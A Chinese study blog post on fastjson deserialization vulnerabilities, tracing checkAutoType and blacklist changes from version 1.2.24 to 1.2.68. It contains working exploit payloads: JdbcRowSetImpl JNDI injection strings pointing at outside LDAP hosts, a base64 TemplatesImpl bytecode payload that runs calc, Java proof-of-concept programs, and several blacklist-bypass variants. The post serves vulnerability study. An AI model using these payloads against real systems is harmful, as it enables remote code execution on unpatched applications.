Java fastjson反序列化初識


前言:這篇是JNDI學玩之后,作為學習fastjson的第一篇筆記

#################################時間線fastjosn <= 1.2.24#################################

在學習fastjson反序列化漏洞之前,我們先來了解下什么是AutoType機制

parse與parseObject

我們導入的依賴包是1.2.24版本

    <!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
    <dependency>
      <groupId>com.alibaba</groupId>
      <artifactId>fastjson</artifactId>
      <version>1.2.24</version>
    </dependency>

先來講下,在使用fastjson中將JSON串反序列化成Java對象的兩個常用方法是parse()及parseObject(),那么這兩者有什么區別呢?

User類:

public class User {
    private String username;

    public User(){
        System.out.println("call construct...");
    }

    public String getUsername() {
        System.out.println("call getUsername...");
        return username;
    }

    public void setUsername(String username) {
        System.out.println("call setUsername...");
        this.username = username;
    }

    @Override
    public String toString() {
        return "User{" +
                "username='" + username + '\'' +
                '}';
    }
}

如下代碼,會發現parseObject會調用解析的類對應的set方法與get方法,而parse方法就只會調用set方法

public class Test1 {
    public static void main(String[] args) {
        String userJson = "{\"@type\":\"com.fastjson.pojo.User\",\"userName\":\"testUserName\"}";

        //parseObject
        Object object1 = JSON.parseObject(userJson);
        System.out.println(object1);

        System.out.println("=============");

        //parse
        Object object2 = JSON.parse(userJson);
        System.out.println(object2);
    }
}

parse()及parseObject()進行反序列化時的細節區別在於,parse() 會識別並調用目標類的 setter 方法,而 parseObject() 由於要將返回值轉化為JSONObject,多執行了 JSON.toJSON(obj),所以在處理過程中會調用反序列化目標類的getter 方法來將參數賦值給JSONObject。

parse

因為parseObject方法中就有調用parse方法,所以這里跟進parseObject方法里面看parse就好了,可以發現它這個方法也會調用parse方法,那么這里就會進行set方法,parse方法是默認使用DefaultJSONParser來進行解析

然后接着進行進一步的解析,來獲取這個類名,判斷是否為@type字符串,如果是的話接着通過默認的類加載器,那么也就是AppClassLoader來進行加載這個類對應的Class對象,通過這個判斷他就會幫助我們通過來使用默認的類加載器來進行加載!

ps:這里的@type跟autoType沒有關系

在parse中后面有進行反序列化的操作,但是發現這里的序列化步驟跟不了,所以這里就先留着吧

parseObject

然后接着這里繼續看parseObject為什么能夠實現get方法,如下所示,跟到toJSON方法中,它會先進行判斷一系列要被轉換對象的類型,是否是屬於誰的實例

接着就會來到這里,這里的getFieldValuesMap的操作就會進行相關對象屬性的所有的get方法,在getFieldValuesMap方法

跟進去繼續看,發現它會將所有get對應對象中的字段值放進去LinkedHashMap對象中

這里繼續跟進去看下,先來到getPropertyValue方法中

接着就是調用fieldinfo.get(object)方法,fieldinfo為對應字段的名字,跟進來可以看到用到了反射來進行調用對應的get方法,從而進行打印get對應的屬性名

到這里就應該簡單的對fastjson的兩個函數parse和parseObject進行初步的了解了

那么到這里可以稍微有個總結:

1、若使用parseObject方法,會觸發指定生成類的構造函數、get、set方法,而parse方法就只會觸發指定生成類的構造函數、set方法。

2、parseObject()本質上同樣是調用parse()進行反序列化的,只是在最后多了一步JSON.toJSON操作。

所以在fastjson這兩個方法的反序列化的區別是:parse()會識別調用目標類的setter方法,而parseObject()會額外調用對應實例化對象的屬性的getter方法。

這里還得繼續再講下,parse() 真的不能觸發getter方法嗎?不是的,在某些特定的payload情況下同樣也可以觸發getter方法,下面就來講下

X

AutoType機制

前面有提到過,那個@type並不是跟autoType相關的,自己一開始學以為這個才是autoType的開關,實際上不是的,可以在parse中繼續調試,這里可以看到checkAutoType方法

這里跟進checkAutoType,才可以真正的看到什么是關於autoType的機制,這里關注兩個判斷點

第一個:開啟autoType機制的走法,先判斷白名單再判斷黑名單,且loadClass是只加載白名單中的類

第二個:關閉autoType機制的走法,先判斷黑名單再判斷白名單,且loadClass只加載白名單中的類

這判斷黑白名單自己感覺不太重要,接着看下面,第二個判斷走了之后,就來到了如下,如果此時autoType開啟的情況下來到這里,那么就說明白名單中沒有自己想要加載的類,所以這里如果你的autoType開啟的話,那么它就會幫助你進行loadClass,這里我認為才是autoType的關鍵作用!

回到getter,setter,既然會調用getter、setter方法,那么我們是否就可以進行相關的反序列化攻擊呢?

Fastjson在進行反序列化操作時,並沒有使用默認的readObject(),而是自己實現了一套反序列化機制。

到這里對於攻擊fastjson就有兩個方向可以走,一個是getter攻擊方向,一個是setter攻擊方向,接下來就講兩條最初始的攻擊鏈,一條是在cc鏈中就已經接觸過的TemplatesImpl(跟cc的攻擊鏈走法不一樣),還有一條就是JdbcRowSetImpl

反序列化攻擊

JdbcRowSetImpl(JNDI注入)

直接來看這個類吧,去看相關的setter方法中是否有可以進行利用的方法,如下payload所示

payload:{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://1lp94z.dnslog.cn","autoCommit":true}}

根據前面的分析,利用類為JdbcRowSetImpl,set屬性dataSourceName

    //JdbcRowSetImpl
    public void setDataSourceName(String var1) throws SQLException {
        if (this.getDataSourceName() != null) {
            if (!this.getDataSourceName().equals(var1)) {
                super.setDataSourceName(var1);
                this.conn = null;
                this.ps = null;
                this.rs = null;
            }
        } else {
            super.setDataSourceName(var1); //第一次走這里
        }

    }
    
    //父類BaseRowSet
    public void setDataSourceName(String name) throws SQLException {

        if (name == null) {
            dataSource = null;
        } else if (name.equals("")) {
           throw new SQLException("DataSource name cannot be empty string");
        } else {
           dataSource = name; // 走這里
        }

        URL = null;
    }

set屬性AutoCommit,這里設置true或者false都沒關系,主要是要觸發this.connect方法

    public void setAutoCommit(boolean var1) throws SQLException {
        if (this.conn != null) {
            this.conn.setAutoCommit(var1);
        } else {
            this.conn = this.connect(); // 
            this.conn.setAutoCommit(var1);
        }

    }

這里注意this.conn = this.connect(),如下所示,DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());,完美的JNDI注入!

    private Connection connect() throws SQLException {
        if (this.conn != null) {
            return this.conn;
        } else if (this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
        }
    }

JdbcRowSetImpl JNDI注入復現

因為這里只涉及到了set方法,所以我們這里不管是用parseObject還是parse都是可以進行JNDI注入

Test.java

public class Test{
    public static void main(String[] args) {
        String userJson = "{\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://h2q28g.dnslog.cn\",\"autoCommit\":false}}";
        //parse
        Object object2 = JSON.parse(userJson);
        System.out.println(object2);
    }
}

再來試下parseObject,同樣可以

Test.java

public class Test{
    public static void main(String[] args) {
        String userJson = "{\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://fuhb1g.dnslog.cn\",\"autoCommit\":false}}";
        //parseObject
        Object object2 = JSON.parseObject(userJson);
        System.out.println(object2);
    }
}

TemplatesImpl利用鏈

上面的利用鏈只用到了setter方法,這里的TemplatesImpl將會用到getter,所以要利用的話就需要是parseObject來進行調用才可以了

這個TemplatesImpl調用鏈,自己筆記中在分析cc2的時候有講過,但是這里的利用鏈和cc中的不一樣,這里來講下,這里主要還是配合fastjson的getter方法的特性來進行利用

雖然TemplatesImpl調用鏈在反序列化中很常見,但是在這里的fastjson想要利用的話條件還是比較難的,因為需要額外配置項設置才可以。

實質:fastjson通過_bytecodes字段傳入惡意類,調用outputProperties屬性的getter方法時,實例化傳入的惡意類,調用其構造方法,造成任意命令執行

分析流程:

先來到TemplatesImpl類中進行觀察,觀察之前我先說下

1、分析過cc2的人都知道,在cc2中的TemplatesImpl的利用是通過鏈式調用newTransformer來觸發getTransletInstance,而我們這里fastjson不行

2、fastjson我們可以利用的就是getter和setter,那么我們就可以找哪里的getter或者setter會來調用newTransformer即可

TemplatesImpl中的getOutputProperties方法存在如上說的情況,分析下順序:

1、這里先是調用newTransfomer(),那么就是先進行實例化transformer,transformer則由我們來控制new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);,里面包含了三個屬性_outputProperties,_indentNumber, _tfactory

2、利用fastjson parseObject的setter和getter的方法能控完全控制上面的三個屬性

3、那么我們控制完了之后,調用的就是getTransletInstance這個函數,這個函數在cc2的筆記中有講過,它會通過_bytecode屬性(能控制)中的值來進行loadClass,最后進行newInstance實例化觸發執行命令

4、最后再看下getTransletInstance的屬性除了_bytecode之外哪寫需要控制的,_name,其中_class就讓它為null,因為這里的_class需要通過defineTransletClasses來進行賦值

    public synchronized Transformer newTransformer()
        throws TransformerConfigurationException
    {
        TransformerImpl transformer;

        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);

        if (_uriResolver != null) {
            transformer.setURIResolver(_uriResolver);
        }

        if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
            transformer.setSecureProcessing(true);
        }
        return transformer;
    }

    public synchronized Properties getOutputProperties() {
        try {
            return newTransformer().getOutputProperties();
        }
        catch (TransformerConfigurationException e) {
            return null;
        }
    }

    private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {
            if (_name == null) return null;

            if (_class == null) defineTransletClasses();

            // The translet needs to keep a reference to all its auxiliary
            // class to prevent the GC from collecting them
            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
            translet.postInitialization();
            translet.setTemplates(this);
            translet.setOverrideDefaultParser(_overrideDefaultParser);
            translet.setAllowedProtocols(_accessExternalStylesheet);
            if (_auxClasses != null) {
                translet.setAuxiliaryClasses(_auxClasses);
            }

            return translet;
        }
        catch (InstantiationException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (IllegalAccessException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

總結最后需要控制的屬性有:

new TransformerImpl需要:_outputProperties_tfactory

getTransletInstance需要:_name_bytecode

提示下:可能有人會問為什么_indentNumber這個不控制呢?因為在反序列化readObject的時候不控制的話默認就是0,想不想控制都無所謂

payload(執行calc,自行base64解碼):

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ }}

這樣子還不能運行,由於部分需要我們更改的私有變量沒有 setter 方法,需要使用 Feature.SupportNonPublicField 參數。

TemplatesImpl 反序列化復現

public class Test2 {
    public static void main(String[] args) {
        ParserConfig config = new ParserConfig();
        String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";
        Object obj = JSON.parseObject(text, Feature.SupportNonPublicField);
    }
}

運行結果:

下面的慢慢寫...

#################################時間線 1.2.25 <=fastjosn<= 1.2.41#################################

前置條件:AutoTypeSupport開啟

AutoType的黑名單機制(出現於1.2.25)

我們導入的依賴包是1.2.25版本

    <!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
    <dependency>
      <groupId>com.alibaba</groupId>
      <artifactId>fastjson</artifactId>
      <version>1.2.25</version>
    </dependency>

使用JdbcRowSetImpl鏈,已經發現執行失敗了

TemplatesImpl鏈,同樣失敗了

原因在版本 1.2.25 中,官方對之前的反序列化漏洞進行了修復,引入了 checkAutoType 安全機制,默認情況下 autoTypeSupport 關閉,不能直接反序列化任意類,而打開 AutoType 之后,是基於內置黑名單來實現安全的,fastjson 也提供了添加黑名單的接口。

既然Json串中傳入指定不可靠第三方Type類時是有被攻擊風險的,自然最簡單的做法就是在反序列化時首先校驗傳入的Class是否在黑名單Class列表中,如下所示,com.alibaba.fastjson.parser.ParserConfig中的成員屬性

1.2.25的黑名單如下所示:

bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

checkAutoType的處理流程

在傳入指定類型Class時,會首先判斷該類是否在黑名單中,如果是,則拋出異常,代碼在如下:

com.alibaba.fastjson.parser.ParserConfig#checkAutoType(String typeName, Class<?> expectClass)

既然是黑名單,那么其中的風險類自然是要在不斷迭代演進中添加的,不可能一步到位,屏蔽所有風險類,這也是為什么fastJson頻繁升級來修復漏洞的原因!

這里的話不僅可以添加黑名單,還可以添加白名單,根據autotype的開啟情況

添加反序列化白名單有3種方法(javasec中提及):

1、使用代碼進行添加:ParserConfig.getGlobalInstance().addAccept("com.zpchcbd.myfastjson.,org.javaweb.")
2、加上JVM啟動參數:-Dfastjson.parser.autoTypeAccept=com.zpchcbd.myfastjson.*
3、在fastjson.properties中添加:fastjson.parser.autoTypeAccept=com.zpchcbd.myfastjson.

看一下 checkAutoType() 的邏輯,如果開啟了 autoType,先判斷類名是否在白名單中,如果在,就使用 TypeUtils.loadClass 加載,然后使用黑名單判斷類名的開頭,如果匹配就拋出異常。

如果沒開啟 autoType ,則是先使用黑名單匹配,再使用白名單匹配和加載。最后,如果要反序列化的類和黑白名單都未匹配時,只有開啟了 autoType 或者 expectClass 不為空也就是指定了 Class 對象時才會調用 TypeUtils.loadClass 加載。

TypeUtils loadClass邏輯繞過

com.alibaba.fastjson.parser.ParserConfig#checkAutoType(String typeName, Class<?> expectClass)

    public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
        if (typeName == null) {
            return null;
        }

        final String className = typeName.replace('$', '.');

        if (autoTypeSupport || expectClass != null) { 
            for (int i = 0; i < acceptList.length; ++i) {
                String accept = acceptList[i];
                if (className.startsWith(accept)) {
                    return TypeUtils.loadClass(typeName, defaultClassLoader); 
                }
            }

            for (int i = 0; i < denyList.length; ++i) {
                String deny = denyList[i];
                if (className.startsWith(deny)) { // 當payload為 Lcom.sun.rowset.JdbcRowSetImpl; ,則無法在這個循環中進行匹配
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }

如下,把autoType開啟后再進行調試...,開啟autoType的方法參考:https://github.com/alibaba/fastjson/wiki/enable_autotype

public class Test{
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String userJson = "{\"b\":{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://fuhb1g.dnslog.cn\",\"autoCommit\":false}}";
        Object object2 = JSON.parse(userJson);
        System.out.println(object2);
    }
}

payload:Lcom.sun.rowset.JdbcRowSetImpl;

接着就來到了TypeUtils.loadClass方法

而fastjson本身對描述符進行了兼容,從而進行了繞過

#################################時間線 1.2.42 <= fastjosn <= 1.2.42#################################

前置條件:AutoTypeSupport開啟

接着就來到了1.2.42的歷史線

    <!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
    <dependency>
      <groupId>com.alibaba</groupId>
      <artifactId>fastjson</artifactId>
      <version>1.2.42</version>
    </dependency>

作者將原本的明文黑名單轉為使用了 Hash 黑名單,防止安全人員對其研究。

loadClass遞歸繞過

因為loadClass會遞歸進行判斷符號,所以我們這邊雙寫L ; 則可以繞過黑名單中的HASH,從而進行執行JNDI注入

LLcom.sun.rowset.JdbcRowSetImpl;;

#################################時間線 1.2.43 <= fastjosn <= 1.2.43#################################

前置條件:AutoTypeSupport開啟

接着就來到了1.2.43的歷史線

基於[描述符 遞歸的繞過

{
    "@type":"[com.sun.rowset.JdbcRowSetImpl"[,
    {"dataSourceName":"ldap://127.0.0.1:23457/Command8",
    "autoCommit":true
}

#################################時間線 1.2.44 <= fastjosn <= 1.2.44#################################

這個版本主要是修復上一個版本中使用 [ 繞過黑名單防護的問題。

影響版本:1.2.25 <= fastjson <= 1.2.44
描述:在此版本將 [ 也進行修復了之后,由字符串處理導致的黑名單繞過也就告一段落了。

#################################時間線 1.2.45 <= fastjosn <= 1.2.45#################################

前置條件:AutoTypeSupport開啟

接着來到了1.2.45

新的JNDI注入對象發現

{
    "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
    "properties":{
        "data_source":"ldap://127.0.0.1:23457/Command8"
    }
}

#################################時間線 1.2.46 <= fastjosn <= 1.2.47#################################

前置條件:無條件,通殺1.2.47之前所有,包括1.2.47

在 fastjson 不斷迭代到 1.2.47 時,爆出了最為嚴重的漏洞,可以在不開啟 AutoTypeSupport 的情況下進行反序列化的利用。

這次的繞過問題還是出現在 checkAutoType() 方法中,fastjosn緩存繞過AutoTypeSupport,之后的筆記細講

#################################時間線 1.2.48 <= fastjosn <= 1.2.68#################################

前置條件:無條件,通殺1.2.68之前所有,包括1.2.68

變動一:SafeMode的安全機制

fastjson在1.2.68及之后的版本中引入了safeMode,配置safeMode后,無論白名單和黑名單,都不支持autoType,可一定程度上緩解反序列化Gadgets類變種攻擊

對應到fastJson反序列化中的代碼實現,代碼在如下:

com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)

但與此同時,這個版本報出了一個新的 autoType 開關繞過方式:利用 expectClass 繞過 checkAutoType(),之后的筆記細講

參考文章:https://blog.csdn.net/hosaos/article/details/106982555
參考文章:https://p0rz9.github.io/2019/05/12/Fastjson反序列化之TemplatesImpl調用鏈/
參考文章:javasec fastjson反序列化


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM